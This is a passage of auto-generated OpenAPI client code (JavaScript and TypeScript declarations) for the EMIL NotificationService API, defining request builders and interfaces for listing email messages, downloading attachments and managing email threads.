* @param {string} [filter] Filter the response by one or multiple fields. In general, fetching filtered responses will conserve bandwidth and reduce response time.&lt;br/&gt; &lt;br/&gt; &lt;i&gt;Allowed values: id, code, threadCode, entityType, entityCode, direction, deliveryStatus, fromAddress, subject, notificationRequestId, sentAt, receivedAt, createdAt, updatedAt, createdBy, updatedBy&lt;/i&gt;
* @param {string} [search] To search the list by any field, pass search&#x3D;xxx to fetch the result.
* @param {string} [order] Order allows you to specify the desired order of entities retrieved from the server by ascending (ASC) or descending (DESC) order.&lt;br/&gt; &lt;br/&gt; &lt;i&gt;Allowed values: id, code, threadCode, direction, deliveryStatus, fromAddress, subject, sentAt, receivedAt, createdAt, updatedAt&lt;/i&gt;
* @param {string} [expand] Expand to fetch additional information about the list items. Expanding resources can reduce the number of API calls required to accomplish a task. Use with discretion as some expanded fields can drastically increase payload size.&lt;br/&gt; &lt;br/&gt; &lt;i&gt;Allowed values: attachments&lt;i&gt;
* @param {string} [filters] Filters the response by one or multiple fields. Advanced filter functionality allows you to perform more complex filtering operations.&lt;br/&gt; &lt;br/&gt; &lt;i&gt;Allowed values: id, code, threadCode, entityType, entityCode, direction, deliveryStatus, fromAddress, subject, notificationRequestId, sentAt, receivedAt, createdAt, updatedAt, createdBy, updatedBy&lt;/i&gt;
* @param {*} [options] Override http request option.
* @throws {RequiredError}
*/
listEmailMessages: function (authorization, pageSize, pageToken, filter, search, order, expand, filters, options) {
if (options === void 0) { options = {}; }
return __awaiter(_this, void 0, void 0, function () {
var localVarPath, localVarUrlObj, baseOptions, baseAccessToken, localVarRequestOptions, localVarHeaderParameter, localVarQueryParameter, headersFromBaseOptions;
return __generator(this, function (_a) {
switch (_a.label) {
case 0:
localVarPath = "/notificationservice/v1/email-messages";
localVarUrlObj = new url_1.URL(localVarPath, common_1.DUMMY_BASE_URL);
if (configuration) {
baseOptions = configuration.baseOptions;
baseAccessToken = configuration.accessToken;
}
localVarRequestOptions = __assign(__assign({ method: 'GET' }, baseOptions), options);
localVarHeaderParameter = {};
localVarQueryParameter = {};
// authentication bearer required
// http bearer authentication required
return [4 /*yield*/, (0, common_1.setBearerAuthToObject)(localVarHeaderParameter, configuration)];
case 1:
// authentication bearer required
// http bearer authentication required
_a.sent();
if (pageSize !== undefined) {
localVarQueryParameter['pageSize'] = pageSize;
}
if (pageToken !== undefined) {
localVarQueryParameter['pageToken'] = pageToken;
}
if (filter !== undefined) {
localVarQueryParameter['filter'] = filter;
}
if (search !== undefined) {
localVarQueryParameter['search'] = search;
}
if (order !== undefined) {
localVarQueryParameter['order'] = order;
}
if (expand !== undefined) {
localVarQueryParameter['expand'] = expand;
}
if (filters !== undefined) {
localVarQueryParameter['filters'] = filters;
}
if (authorization !== undefined && authorization !== null || baseAccessToken !== undefined && baseAccessToken !== null) {
localVarHeaderParameter['Authorization'] = String(authorization ? authorization : baseAccessToken);
}
(0, common_1.setSearchParams)(localVarUrlObj, localVarQueryParameter);
headersFromBaseOptions = baseOptions && baseOptions.headers ? baseOptions.headers : {};
localVarRequestOptions.headers = __assign(__assign(__assign({}, localVarHeaderParameter), headersFromBaseOptions), options.headers);
return [2 /*return*/, {
url: (0, common_1.toPathString)(localVarUrlObj),
options: localVarRequestOptions,
}];
}
});
});
},
};
};
exports.EmailMessagesApiAxiosParamCreator = EmailMessagesApiAxiosParamCreator;
/**
* EmailMessagesApi - functional programming interface
* @export
*/
var EmailMessagesApiFp = function (configuration) {
var localVarAxiosParamCreator = (0, exports.EmailMessagesApiAxiosParamCreator)(configuration);
return {
/**
* undefined **Required Permissions** \"notification-management.email-messages.view\"
* @param {string} code
* @param {number} attachmentId
* @param {string} [authorization] Bearer Token: provided by the login endpoint under the name accessToken.
* @param {*} [options] Override http request option.
* @throws {RequiredError}
*/
downloadAttachment: function (code, attachmentId, authorization, options) {
return __awaiter(this, void 0, void 0, function () {
var localVarAxiosArgs;
return __generator(this, function (_a) {
switch (_a.label) {
case 0: return [4 /*yield*/, localVarAxiosParamCreator.downloadAttachment(code, attachmentId, authorization, options)];
case 1:
localVarAxiosArgs = _a.sent();
return [2 /*return*/, (0, common_1.createRequestFunction)(localVarAxiosArgs, axios_1.default, base_1.BASE_PATH, configuration)];
}
});
});
},
/**
* undefined **Required Permissions** \"notification-management.email-messages.view\"
* @param {string} code
* @param {string} [authorization] Bearer Token: provided by the login endpoint under the name accessToken.
* @param {*} [options] Override http request option.
* @throws {RequiredError}
*/
getMessage: function (code, authorization, options) {
return __awaiter(this, void 0, void 0, function () {
var localVarAxiosArgs;
return __generator(this, function (_a) {
switch (_a.label) {
case 0: return [4 /*yield*/, localVarAxiosParamCreator.getMessage(code, authorization, options)];
case 1:
localVarAxiosArgs = _a.sent();
return [2 /*return*/, (0, common_1.createRequestFunction)(localVarAxiosArgs, axios_1.default, base_1.BASE_PATH, configuration)];
}
});
});
},
/**
* undefined **Required Permissions** \"notification-management.email-messages.view\"
* @param {string} code
* @param {string} [authorization] Bearer Token: provided by the login endpoint under the name accessToken.
* @param {*} [options] Override http request option.
* @throws {RequiredError}
*/
listAttachments: function (code, authorization, options) {
return __awaiter(this, void 0, void 0, function () {
var localVarAxiosArgs;
return __generator(this, function (_a) {
switch (_a.label) {
case 0: return [4 /*yield*/, localVarAxiosParamCreator.listAttachments(code, authorization, options)];
case 1:
localVarAxiosArgs = _a.sent();
return [2 /*return*/, (0, common_1.createRequestFunction)(localVarAxiosArgs, axios_1.default, base_1.BASE_PATH, configuration)];
}
});
});
},
/**
* Lists all email messages with optional filters **Required Permissions** \"notification-management.email-messages.view\"
* @summary List email messages
* @param {string} [authorization] Bearer Token: provided by the login endpoint under the name accessToken.
* @param {number} [pageSize] A limit on the number of objects to be returned. Limit ranges between 1 and 50. Default: 10.
* @param {string} [pageToken] A cursor for use in pagination. pageToken is an ID that defines your place in the list. For instance, if you make a list request and receive 100 objects and pageToken&#x3D;1, your subsequent call can include pageToken&#x3D;2 in order to fetch the next page of the list.
* @param {string} [filter] Filter the response by one or multiple fields. In general, fetching filtered responses will conserve bandwidth and reduce response time.&lt;br/&gt; &lt;br/&gt; &lt;i&gt;Allowed values: id, code, threadCode, entityType, entityCode, direction, deliveryStatus, fromAddress, subject, notificationRequestId, sentAt, receivedAt, createdAt, updatedAt, createdBy, updatedBy&lt;/i&gt;
* @param {string} [search] To search the list by any field, pass search&#x3D;xxx to fetch the result.
* @param {string} [order] Order allows you to specify the desired order of entities retrieved from the server by ascending (ASC) or descending (DESC) order.&lt;br/&gt; &lt;br/&gt; &lt;i&gt;Allowed values: id, code, threadCode, direction, deliveryStatus, fromAddress, subject, sentAt, receivedAt, createdAt, updatedAt&lt;/i&gt;
* @param {string} [expand] Expand to fetch additional information about the list items. Expanding resources can reduce the number of API calls required to accomplish a task. Use with discretion as some expanded fields can drastically increase payload size.&lt;br/&gt; &lt;br/&gt; &lt;i&gt;Allowed values: attachments&lt;i&gt;
* @param {string} [filters] Filters the response by one or multiple fields. Advanced filter functionality allows you to perform more complex filtering operations.&lt;br/&gt; &lt;br/&gt; &lt;i&gt;Allowed values: id, code, threadCode, entityType, entityCode, direction, deliveryStatus, fromAddress, subject, notificationRequestId, sentAt, receivedAt, createdAt, updatedAt, createdBy, updatedBy&lt;/i&gt;
* @param {*} [options] Override http request option.
* @throws {RequiredError}
*/
listEmailMessages: function (authorization, pageSize, pageToken, filter, search, order, expand, filters, options) {
return __awaiter(this, void 0, void 0, function () {
var localVarAxiosArgs;
return __generator(this, function (_a) {
switch (_a.label) {
case 0: return [4 /*yield*/, localVarAxiosParamCreator.listEmailMessages(authorization, pageSize, pageToken, filter, search, order, expand, filters, options)];
case 1:
localVarAxiosArgs = _a.sent();
return [2 /*return*/, (0, common_1.createRequestFunction)(localVarAxiosArgs, axios_1.default, base_1.BASE_PATH, configuration)];
}
});
});
},
};
};
exports.EmailMessagesApiFp = EmailMessagesApiFp;
/**
* EmailMessagesApi - factory interface
* @export
*/
var EmailMessagesApiFactory = function (configuration, basePath, axios) {
var localVarFp = (0, exports.EmailMessagesApiFp)(configuration);
return {
/**
* undefined **Required Permissions** \"notification-management.email-messages.view\"
* @param {string} code
* @param {number} attachmentId
* @param {string} [authorization] Bearer Token: provided by the login endpoint under the name accessToken.
* @param {*} [options] Override http request option.
* @throws {RequiredError}
*/
downloadAttachment: function (code, attachmentId, authorization, options) {
return localVarFp.downloadAttachment(code, attachmentId, authorization, options).then(function (request) { return request(axios, basePath); });
},
/**
* undefined **Required Permissions** \"notification-management.email-messages.view\"
* @param {string} code
* @param {string} [authorization] Bearer Token: provided by the login endpoint under the name accessToken.
* @param {*} [options] Override http request option.
* @throws {RequiredError}
*/
getMessage: function (code, authorization, options) {
return localVarFp.getMessage(code, authorization, options).then(function (request) { return request(axios, basePath); });
},
/**
* undefined **Required Permissions** \"notification-management.email-messages.view\"
* @param {string} code
* @param {string} [authorization] Bearer Token: provided by the login endpoint under the name accessToken.
* @param {*} [options] Override http request option.
* @throws {RequiredError}
*/
listAttachments: function (code, authorization, options) {
return localVarFp.listAttachments(code, authorization, options).then(function (request) { return request(axios, basePath); });
},
/**
* Lists all email messages with optional filters **Required Permissions** \"notification-management.email-messages.view\"
* @summary List email messages
* @param {string} [authorization] Bearer Token: provided by the login endpoint under the name accessToken.
* @param {number} [pageSize] A limit on the number of objects to be returned. Limit ranges between 1 and 50. Default: 10.
* @param {string} [pageToken] A cursor for use in pagination. pageToken is an ID that defines your place in the list. For instance, if you make a list request and receive 100 objects and pageToken&#x3D;1, your subsequent call can include pageToken&#x3D;2 in order to fetch the next page of the list.
* @param {string} [filter] Filter the response by one or multiple fields. In general, fetching filtered responses will conserve bandwidth and reduce response time.&lt;br/&gt; &lt;br/&gt; &lt;i&gt;Allowed values: id, code, threadCode, entityType, entityCode, direction, deliveryStatus, fromAddress, subject, notificationRequestId, sentAt, receivedAt, createdAt, updatedAt, createdBy, updatedBy&lt;/i&gt;
* @param {string} [search] To search the list by any field, pass search&#x3D;xxx to fetch the result.
* @param {string} [order] Order allows you to specify the desired order of entities retrieved from the server by ascending (ASC) or descending (DESC) order.&lt;br/&gt; &lt;br/&gt; &lt;i&gt;Allowed values: id, code, threadCode, direction, deliveryStatus, fromAddress, subject, sentAt, receivedAt, createdAt, updatedAt&lt;/i&gt;
* @param {string} [expand] Expand to fetch additional information about the list items. Expanding resources can reduce the number of API calls required to accomplish a task. Use with discretion as some expanded fields can drastically increase payload size.&lt;br/&gt; &lt;br/&gt; &lt;i&gt;Allowed values: attachments&lt;i&gt;
* @param {string} [filters] Filters the response by one or multiple fields. Advanced filter functionality allows you to perform more complex filtering operations.&lt;br/&gt; &lt;br/&gt; &lt;i&gt;Allowed values: id, code, threadCode, entityType, entityCode, direction, deliveryStatus, fromAddress, subject, notificationRequestId, sentAt, receivedAt, createdAt, updatedAt, createdBy, updatedBy&lt;/i&gt;
* @param {*} [options] Override http request option.
* @throws {RequiredError}
*/
listEmailMessages: function (authorization, pageSize, pageToken, filter, search, order, expand, filters, options) {
return localVarFp.listEmailMessages(authorization, pageSize, pageToken, filter, search, order, expand, filters, options).then(function (request) { return request(axios, basePath); });
},
};
};
exports.EmailMessagesApiFactory = EmailMessagesApiFactory;
/**
* EmailMessagesApi - object-oriented interface
* @export
* @class EmailMessagesApi
* @extends {BaseAPI}
*/
var EmailMessagesApi = /** @class */ (function (_super) {
__extends(EmailMessagesApi, _super);
function EmailMessagesApi() {
return _super !== null && _super.apply(this, arguments) || this;
}
/**
* undefined **Required Permissions** \"notification-management.email-messages.view\"
* @param {EmailMessagesApiDownloadAttachmentRequest} requestParameters Request parameters.
* @param {*} [options] Override http request option.
* @throws {RequiredError}
* @memberof EmailMessagesApi
*/
EmailMessagesApi.prototype.downloadAttachment = function (requestParameters, options) {
var _this = this;
return (0, exports.EmailMessagesApiFp)(this.configuration).downloadAttachment(requestParameters.code, requestParameters.attachmentId, requestParameters.authorization, options).then(function (request) { return request(_this.axios, _this.basePath); });
};
/**
* undefined **Required Permissions** \"notification-management.email-messages.view\"
* @param {EmailMessagesApiGetMessageRequest} requestParameters Request parameters.
* @param {*} [options] Override http request option.
* @throws {RequiredError}
* @memberof EmailMessagesApi
*/
EmailMessagesApi.prototype.getMessage = function (requestParameters, options) {
var _this = this;
return (0, exports.EmailMessagesApiFp)(this.configuration).getMessage(requestParameters.code, requestParameters.authorization, options).then(function (request) { return request(_this.axios, _this.basePath); });
};
/**
* undefined **Required Permissions** \"notification-management.email-messages.view\"
* @param {EmailMessagesApiListAttachmentsRequest} requestParameters Request parameters.
* @param {*} [options] Override http request option.
* @throws {RequiredError}
* @memberof EmailMessagesApi
*/
EmailMessagesApi.prototype.listAttachments = function (requestParameters, options) {
var _this = this;
return (0, exports.EmailMessagesApiFp)(this.configuration).listAttachments(requestParameters.code, requestParameters.authorization, options).then(function (request) { return request(_this.axios, _this.basePath); });
};
/**
* Lists all email messages with optional filters **Required Permissions** \"notification-management.email-messages.view\"
* @summary List email messages
* @param {EmailMessagesApiListEmailMessagesRequest} requestParameters Request parameters.
* @param {*} [options] Override http request option.
* @throws {RequiredError}
* @memberof EmailMessagesApi
*/
EmailMessagesApi.prototype.listEmailMessages = function (requestParameters, options) {
var _this = this;
if (requestParameters === void 0) { requestParameters = {}; }
return (0, exports.EmailMessagesApiFp)(this.configuration).listEmailMessages(requestParameters.authorization, requestParameters.pageSize, requestParameters.pageToken, requestParameters.filter, requestParameters.search, requestParameters.order, requestParameters.expand, requestParameters.filters, options).then(function (request) { return request(_this.axios, _this.basePath); });
};
return EmailMessagesApi;
}(base_1.BaseAPI));
exports.EmailMessagesApi = EmailMessagesApi;
/**
* EMIL NotificationService
* The EMIL NotificationService API description
*
* The version of the OpenAPI document: 1.0
* Contact: kontakt@emil.de
*
* NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech).
* https://openapi-generator.tech
* Do not edit the class manually.
*/
import { AxiosPromise, AxiosInstance, AxiosRequestConfig } from 'axios';
import { Configuration } from '../configuration';
import { RequestArgs, BaseAPI } from '../base';
import { GetEmailThreadResponseClass } from '../models';
import { ListEmailMessagesResponseClass } from '../models';
import { ListEmailThreadsResponseClass } from '../models';
/**
* EmailTrackingApi - axios parameter creator
* @export
*/
export declare const EmailTrackingApiAxiosParamCreator: (configuration?: Configuration) => {
/**
* undefined **Required Permissions** \"notification-management.email-messages.update\"
* @param {string} code
* @param {string} [authorization] Bearer Token: provided by the login endpoint under the name accessToken.
* @param {*} [options] Override http request option.
* @throws {RequiredError}
*/
closeThread: (code: string, authorization?: string, options?: AxiosRequestConfig) => Promise<RequestArgs>;
/**
* undefined **Required Permissions** \"notification-management.email-messages.view\"
* @param {string} code
* @param {string} [authorization] Bearer Token: provided by the login endpoint under the name accessToken.
* @param {*} [options] Override http request option.
* @throws {RequiredError}
*/
getThread: (code: string, authorization?: string, options?: AxiosRequestConfig) => Promise<RequestArgs>;
/**
* Lists all email messages for a thread **Required Permissions** \"notification-management.email-messages.view\"
* @summary List email messages
* @param {string} code
* @param {string} [authorization] Bearer Token: provided by the login endpoint under the name accessToken.
* @param {string} [filter] Filter the response by one or multiple fields. In general, fetching filtered responses will conserve bandwidth and reduce response time.&lt;br/&gt; &lt;br/&gt; &lt;i&gt;Allowed values: id, code, threadCode, entityType, entityCode, direction, deliveryStatus, fromAddress, subject, notificationRequestId, sentAt, receivedAt, createdAt, updatedAt, createdBy, updatedBy&lt;/i&gt;
* @param {string} [filters] Filters the response by one or multiple fields. Advanced filter functionality allows you to perform more complex filtering operations.&lt;br/&gt; &lt;br/&gt; &lt;i&gt;Allowed values: id, code, threadCode, entityType, entityCode, direction, deliveryStatus, fromAddress, subject, notificationRequestId, sentAt, receivedAt, createdAt, updatedAt, createdBy, updatedBy&lt;/i&gt;
* @param {string} [order] Order allows you to specify the desired order of entities retrieved from the server by ascending (ASC) or descending (DESC) order.&lt;br/&gt; &lt;br/&gt; &lt;i&gt;Allowed values: id, code, threadCode, direction, deliveryStatus, fromAddress, subject, sentAt, receivedAt, createdAt, updatedAt&lt;/i&gt;
* @param {string} [expand] Expand to fetch additional information about the list items. Expanding resources can reduce the number of API calls required to accomplish a task. Use with discretion as some expanded fields can drastically increase payload size.&lt;br/&gt; &lt;br/&gt; &lt;i&gt;Allowed values: attachments&lt;i&gt;
* @param {*} [options] Override http request option.
* @throws {RequiredError}
*/
listMessages: (code: string, authorization?: string, filter?: string, filters?: string, order?: string, expand?: string, options?: AxiosRequestConfig) => Promise<RequestArgs>;
/**
* Lists all email threads with optional filters **Required Permissions** \"notification-management.email-messages.view\"
* @summary List email threads
* @param {string} [authorization] Bearer Token: provided by the login endpoint under the name accessToken.
* @param {number} [pageSize] A limit on the number of objects to be returned. Limit ranges between 1 and 50. Default: 10.
* @param {string} [pageToken] A cursor for use in pagination. pageToken is an ID that defines your place in the list. For instance, if you make a list request and receive 100 objects and pageToken&#x3D;1, your subsequent call can include pageToken&#x3D;2 in order to fetch the next page of the list.
* @param {string} [filter] Filter the response by one or multiple fields. In general, fetching filtered responses will conserve bandwidth and reduce response time.&lt;br/&gt; &lt;br/&gt; &lt;i&gt;Allowed values: id, code, entityType, entityCode, subject, status, createdAt, updatedAt, createdBy, updatedBy&lt;/i&gt;
* @param {string} [search] To search the list by any field, pass search&#x3D;xxx to fetch the result.
* @param {string} [order] Order allows you to specify the desired order of entities retrieved from the server by ascending (ASC) or descending (DESC) order.&lt;br/&gt; &lt;br/&gt; &lt;i&gt;Allowed values: id, code, entityType, entityCode, subject, status, createdAt, updatedAt&lt;/i&gt;
* @param {string} [expand] Expand to fetch additional information about the list items. Expanding resources can reduce the number of API calls required to accomplish a task. Use with discretion as some expanded fields can drastically increase payload size.&lt;br/&gt; &lt;br/&gt; &lt;i&gt;Allowed values: messages&lt;i&gt;
* @param {string} [filters] Filters the response by one or multiple fields. Advanced filter functionality allows you to perform more complex filtering operations.&lt;br/&gt; &lt;br/&gt; &lt;i&gt;Allowed values: id, code, entityType, entityCode, subject, status, createdAt, updatedAt, createdBy, updatedBy&lt;/i&gt;
* @param {*} [options] Override http request option.
* @throws {RequiredError}
*/
listThreads: (authorization?: string, pageSize?: number, pageToken?: string, filter?: string, search?: string, order?: string, expand?: string, filters?: string, options?: AxiosRequestConfig) => Promise<RequestArgs>;
};
/**
* EmailTrackingApi - functional programming interface
* @export
*/
export declare const EmailTrackingApiFp: (configuration?: Configuration) => {
/**
* undefined **Required Permissions** \"notification-management.email-messages.update\"
* @param {string} code
* @param {string} [authorization] Bearer Token: provided by the login endpoint under the name accessToken.
* @param {*} [options] Override http request option.
* @throws {RequiredError}
*/
closeThread(code: string, authorization?: string, options?: AxiosRequestConfig): Promise<(axios?: AxiosInstance, basePath?: string) => AxiosPromise<GetEmailThreadResponseClass>>;
/**
* undefined **Required Permissions** \"notification-management.email-messages.view\"
* @param {string} code
* @param {string} [authorization] Bearer Token: provided by the login endpoint under the name accessToken.
* @param {*} [options] Override http request option.
* @throws {RequiredError}
*/
getThread(code: string, authorization?: string, options?: AxiosRequestConfig): Promise<(axios?: AxiosInstance, basePath?: string) => AxiosPromise<GetEmailThreadResponseClass>>;
/**
* Lists all email messages for a thread **Required Permissions** \"notification-management.email-messages.view\"
* @summary List email messages
* @param {string} code
* @param {string} [authorization] Bearer Token: provided by the login endpoint under the name accessToken.
* @param {string} [filter] Filter the response by one or multiple fields. In general, fetching filtered responses will conserve bandwidth and reduce response time.&lt;br/&gt; &lt;br/&gt; &lt;i&gt;Allowed values: id, code, threadCode, entityType, entityCode, direction, deliveryStatus, fromAddress, subject, notificationRequestId, sentAt, receivedAt, createdAt, updatedAt, createdBy, updatedBy&lt;/i&gt;
* @param {string} [filters] Filters the response by one or multiple fields. Advanced filter functionality allows you to perform more complex filtering operations.&lt;br/&gt; &lt;br/&gt; &lt;i&gt;Allowed values: id, code, threadCode, entityType, entityCode, direction, deliveryStatus, fromAddress, subject, notificationRequestId, sentAt, receivedAt, createdAt, updatedAt, createdBy, updatedBy&lt;/i&gt;
* @param {string} [order] Order allows you to specify the desired order of entities retrieved from the server by ascending (ASC) or descending (DESC) order.&lt;br/&gt; &lt;br/&gt; &lt;i&gt;Allowed values: id, code, threadCode, direction, deliveryStatus, fromAddress, subject, sentAt, receivedAt, createdAt, updatedAt&lt;/i&gt;
* @param {string} [expand] Expand to fetch additional information about the list items. Expanding resources can reduce the number of API calls required to accomplish a task. Use with discretion as some expanded fields can drastically increase payload size.&lt;br/&gt; &lt;br/&gt; &lt;i&gt;Allowed values: attachments&lt;i&gt;
* @param {*} [options] Override http request option.
* @throws {RequiredError}
*/
listMessages(code: string, authorization?: string, filter?: string, filters?: string, order?: string, expand?: string, options?: AxiosRequestConfig): Promise<(axios?: AxiosInstance, basePath?: string) => AxiosPromise<ListEmailMessagesResponseClass>>;
/**
* Lists all email threads with optional filters **Required Permissions** \"notification-management.email-messages.view\"
* @summary List email threads
* @param {string} [authorization] Bearer Token: provided by the login endpoint under the name accessToken.
* @param {number} [pageSize] A limit on the number of objects to be returned. Limit ranges between 1 and 50. Default: 10.
* @param {string} [pageToken] A cursor for use in pagination. pageToken is an ID that defines your place in the list. For instance, if you make a list request and receive 100 objects and pageToken&#x3D;1, your subsequent call can include pageToken&#x3D;2 in order to fetch the next page of the list.
* @param {string} [filter] Filter the response by one or multiple fields. In general, fetching filtered responses will conserve bandwidth and reduce response time.&lt;br/&gt; &lt;br/&gt; &lt;i&gt;Allowed values: id, code, entityType, entityCode, subject, status, createdAt, updatedAt, createdBy, updatedBy&lt;/i&gt;
* @param {string} [search] To search the list by any field, pass search&#x3D;xxx to fetch the result.
* @param {string} [order] Order allows you to specify the desired order of entities retrieved from the server by ascending (ASC) or descending (DESC) order.&lt;br/&gt; &lt;br/&gt; &lt;i&gt;Allowed values: id, code, entityType, entityCode, subject, status, createdAt, updatedAt&lt;/i&gt;
* @param {string} [expand] Expand to fetch additional information about the list items. Expanding resources can reduce the number of API calls required to accomplish a task. Use with discretion as some expanded fields can drastically increase payload size.&lt;br/&gt; &lt;br/&gt; &lt;i&gt;Allowed values: messages&lt;i&gt;
* @param {string} [filters] Filters the response by one or multiple fields. Advanced filter functionality allows you to perform more complex filtering operations.&lt;br/&gt; &lt;br/&gt; &lt;i&gt;Allowed values: id, code, entityType, entityCode, subject, status, createdAt, updatedAt, createdBy, updatedBy&lt;/i&gt;
* @param {*} [options] Override http request option.
* @throws {RequiredError}
*/
listThreads(authorization?: string, pageSize?: number, pageToken?: string, filter?: string, search?: string, order?: string, expand?: string, filters?: string, options?: AxiosRequestConfig): Promise<(axios?: AxiosInstance, basePath?: string) => AxiosPromise<ListEmailThreadsResponseClass>>;
};
/**
* EmailTrackingApi - factory interface
* @export
*/
export declare const EmailTrackingApiFactory: (configuration?: Configuration, basePath?: string, axios?: AxiosInstance) => {
/**
* undefined **Required Permissions** \"notification-management.email-messages.update\"
* @param {string} code
* @param {string} [authorization] Bearer Token: provided by the login endpoint under the name accessToken.
* @param {*} [options] Override http request option.
* @throws {RequiredError}
*/
closeThread(code: string, authorization?: string, options?: any): AxiosPromise<GetEmailThreadResponseClass>;
/**
* undefined **Required Permissions** \"notification-management.email-messages.view\"
* @param {string} code
* @param {string} [authorization] Bearer Token: provided by the login endpoint under the name accessToken.
* @param {*} [options] Override http request option.
* @throws {RequiredError}
*/
getThread(code: string, authorization?: string, options?: any): AxiosPromise<GetEmailThreadResponseClass>;
/**
* Lists all email messages for a thread **Required Permissions** \"notification-management.email-messages.view\"
* @summary List email messages
* @param {string} code
* @param {string} [authorization] Bearer Token: provided by the login endpoint under the name accessToken.
* @param {string} [filter] Filter the response by one or multiple fields. In general, fetching filtered responses will conserve bandwidth and reduce response time.&lt;br/&gt; &lt;br/&gt; &lt;i&gt;Allowed values: id, code, threadCode, entityType, entityCode, direction, deliveryStatus, fromAddress, subject, notificationRequestId, sentAt, receivedAt, createdAt, updatedAt, createdBy, updatedBy&lt;/i&gt;
* @param {string} [filters] Filters the response by one or multiple fields. Advanced filter functionality allows you to perform more complex filtering operations.&lt;br/&gt; &lt;br/&gt; &lt;i&gt;Allowed values: id, code, threadCode, entityType, entityCode, direction, deliveryStatus, fromAddress, subject, notificationRequestId, sentAt, receivedAt, createdAt, updatedAt, createdBy, updatedBy&lt;/i&gt;
* @param {string} [order] Order allows you to specify the desired order of entities retrieved from the server by ascending (ASC) or descending (DESC) order.&lt;br/&gt; &lt;br/&gt; &lt;i&gt;Allowed values: id, code, threadCode, direction, deliveryStatus, fromAddress, subject, sentAt, receivedAt, createdAt, updatedAt&lt;/i&gt;
* @param {string} [expand] Expand to fetch additional information about the list items. Expanding resources can reduce the number of API calls required to accomplish a task. Use with discretion as some expanded fields can drastically increase payload size.&lt;br/&gt; &lt;br/&gt; &lt;i&gt;Allowed values: attachments&lt;i&gt;
* @param {*} [options] Override http request option.
* @throws {RequiredError}
*/
listMessages(code: string, authorization?: string, filter?: string, filters?: string, order?: string, expand?: string, options?: any): AxiosPromise<ListEmailMessagesResponseClass>;
/**
* Lists all email threads with optional filters **Required Permissions** \"notification-management.email-messages.view\"
* @summary List email threads
* @param {string} [authorization] Bearer Token: provided by the login endpoint under the name accessToken.
* @param {number} [pageSize] A limit on the number of objects to be returned. Limit ranges between 1 and 50. Default: 10.
* @param {string} [pageToken] A cursor for use in pagination. pageToken is an ID that defines your place in the list. For instance, if you make a list request and receive 100 objects and pageToken&#x3D;1, your subsequent call can include pageToken&#x3D;2 in order to fetch the next page of the list.
* @param {string} [filter] Filter the response by one or multiple fields. In general, fetching filtered responses will conserve bandwidth and reduce response time.&lt;br/&gt; &lt;br/&gt; &lt;i&gt;Allowed values: id, code, entityType, entityCode, subject, status, createdAt, updatedAt, createdBy, updatedBy&lt;/i&gt;
* @param {string} [search] To search the list by any field, pass search&#x3D;xxx to fetch the result.
* @param {string} [order] Order allows you to specify the desired order of entities retrieved from the server by ascending (ASC) or descending (DESC) order.&lt;br/&gt; &lt;br/&gt; &lt;i&gt;Allowed values: id, code, entityType, entityCode, subject, status, createdAt, updatedAt&lt;/i&gt;
* @param {string} [expand] Expand to fetch additional information about the list items. Expanding resources can reduce the number of API calls required to accomplish a task. Use with discretion as some expanded fields can drastically increase payload size.&lt;br/&gt; &lt;br/&gt; &lt;i&gt;Allowed values: messages&lt;i&gt;
* @param {string} [filters] Filters the response by one or multiple fields. Advanced filter functionality allows you to perform more complex filtering operations.&lt;br/&gt; &lt;br/&gt; &lt;i&gt;Allowed values: id, code, entityType, entityCode, subject, status, createdAt, updatedAt, createdBy, updatedBy&lt;/i&gt;
* @param {*} [options] Override http request option.
* @throws {RequiredError}
*/
listThreads(authorization?: string, pageSize?: number, pageToken?: string, filter?: string, search?: string, order?: string, expand?: string, filters?: string, options?: any): AxiosPromise<ListEmailThreadsResponseClass>;
};
/**
* Request parameters for closeThread operation in EmailTrackingApi.
* @export
* @interface EmailTrackingApiCloseThreadRequest
*/
export interface EmailTrackingApiCloseThreadRequest {
/**
*
* @type {string}
* @memberof EmailTrackingApiCloseThread
*/
readonly code: string;
/**
* Bearer Token: provided by the login endpoint under the name accessToken.
* @type {string}
* @memberof EmailTrackingApiCloseThread
*/
readonly authorization?: string;
}
/**
* Request parameters for getThread operation in EmailTrackingApi.
* @export
* @interface EmailTrackingApiGetThreadRequest
*/
export interface EmailTrackingApiGetThreadRequest {
/**
*
* @type {string}
* @memberof EmailTrackingApiGetThread
*/
readonly code: string;
/**
* Bearer Token: provided by the login endpoint under the name accessToken.
* @type {string}
* @memberof EmailTrackingApiGetThread
*/
readonly authorization?: string;
}
/**
* Request parameters for listMessages operation in EmailTrackingApi.
* @export
* @interface EmailTrackingApiListMessagesRequest
*/
export interface EmailTrackingApiListMessagesRequest {
/**
*
* @type {string}
* @memberof EmailTrackingApiListMessages
*/
readonly code: string;
/**
* Bearer Token: provided by the login endpoint under the name accessToken.
* @type {string}
* @memberof EmailTrackingApiListMessages
*/
readonly authorization?: string;
/**
* Filter the response by one or multiple fields. In general, fetching filtered responses will conserve bandwidth and reduce response time.&lt;br/&gt; &lt;br/&gt; &lt;i&gt;Allowed values: id, code, threadCode, entityType, entityCode, direction, deliveryStatus, fromAddress, subject, notificationRequestId, sentAt, receivedAt, createdAt, updatedAt, createdBy, updatedBy&lt;/i&gt;
* @type {string}
* @memberof EmailTrackingApiListMessages
*/
readonly filter?: string;
/**
* Filters the response by one or multiple fields. Advanced filter functionality allows you to perform more complex filtering operations.&lt;br/&gt; &lt;br/&gt; &lt;i&gt;Allowed values: id, code, threadCode, entityType, entityCode, direction, deliveryStatus, fromAddress, subject, notificationRequestId, sentAt, receivedAt, createdAt, updatedAt, createdBy, updatedBy&lt;/i&gt;
* @type {string}
* @memberof EmailTrackingApiListMessages
*/
readonly filters?: string;
/**
* Order allows you to specify the desired order of entities retrieved from the server by ascending (ASC) or descending (DESC) order.&lt;br/&gt; &lt;br/&gt; &lt;i&gt;Allowed values: id, code, threadCode, direction, deliveryStatus, fromAddress, subject, sentAt, receivedAt, createdAt, updatedAt&lt;/i&gt;
* @type {string}
* @memberof EmailTrackingApiListMessages
*/
readonly order?: string;
/**
* Expand to fetch additional information about the list items. Expanding resources can reduce the number of API calls required to accomplish a task. Use with discretion as some expanded fields can drastically increase payload size.&lt;br/&gt; &lt;br/&gt; &lt;i&gt;Allowed values: attachments&lt;i&gt;
* @type {string}
* @memberof EmailTrackingApiListMessages
*/
readonly expand?: string;
}
/**
* Request parameters for listThreads operation in EmailTrackingApi.
* @export
* @interface EmailTrackingApiListThreadsRequest
*/
export interface EmailTrackingApiListThreadsRequest {
/**
* Bearer Token: provided by the login endpoint under the name accessToken.
* @type {string}
* @memberof EmailTrackingApiListThreads
*/
